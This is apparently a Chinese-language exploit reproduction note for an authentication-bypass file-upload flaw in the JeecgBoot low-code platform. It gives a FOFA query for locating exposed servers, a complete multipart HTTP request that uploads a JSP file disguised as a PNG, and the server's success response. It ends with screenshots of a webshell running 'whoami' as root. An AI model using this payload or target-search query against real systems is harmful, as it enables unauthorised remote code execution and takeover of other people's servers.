

J10-7JeecgBoot-企业级低代码平台-文件上传

漏洞描述：

JEECG(J2EE Code Generation) 是开源的代码生成平台，目前官方已停止维护。由于 /api 接口鉴权时未过滤路径遍历，攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 commonController 接口进行文件上传攻击实现远程代码执行，导致服务器被控。

影响版本：

- JeecgBoot-企业级

网站图片：



网络测绘：

fofa语法：

FOFA: app="JEECG"

漏洞复现：

payload:

```
POST /api/./commonController.do?parserXml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryfyhSCMs9cajzFD4

-----WebKitFormBoundaryfyhSCMs9cajzFD4
Content-Disposition: form-data; "name="name"
qwe.png
-----WebKitFormBoundaryfyhSCMs9cajzFD4
Content-Disposition: form-data; name="documentTitle"
blank
-----WebKitFormBoundaryfyhSCMs9cajzFD4
Content-Disposition: form-data; name="file"; filename="qwe.jsp"
Content-Type: image/png
<% out.println("hello,jeecg");%>
-----WebKitFormBoundaryfyhSCMs9cajzFD4--
```

效果图：

Request

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

POST /api/./commonController.do?parserXml HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryfyhSCMs9cajzFD4

-----WebKitFormBoundaryfyhSCMs9cajzFD4

Content-Disposition: form-data; "name="name"

qwe.png

-----WebKitFormBoundaryfyhSCMs9cajzFD4

Content-Disposition: form-data; name="documentTitle"

blank

-----WebKitFormBoundaryfyhSCMs9cajzFD4

Content-Disposition: form-data; name="file"; filename="qwe.jsp"

Content-Type: image/png

Responses

https

122bytes / 56ms

1

2

3

4

5

6

7

8

9

10

11

12

13

14

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

x-frame-options: SAMEORIGIN

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Cache-Control: no-cache

Cache-Control: no-store

Set-Cookie: JSESSIONID=83FE534676CCC3D881

Content-Type: text/html; charset=UTF-8

Date: Fri, 05 Apr 2024 09:58:39 GMT

Connection: close

Content-Length: 122

{ "attributes": null, "msg": "操作成功", "obj": {"success": true}, "success": true }

验证

← → ↻  不安全 https://[redacted]/qwe.jsp

hello,jeecg

RCE

← → ↻  [redacted]/rce.jsp?pwd=123&cmd=whoami

root

2024-04-15 14:00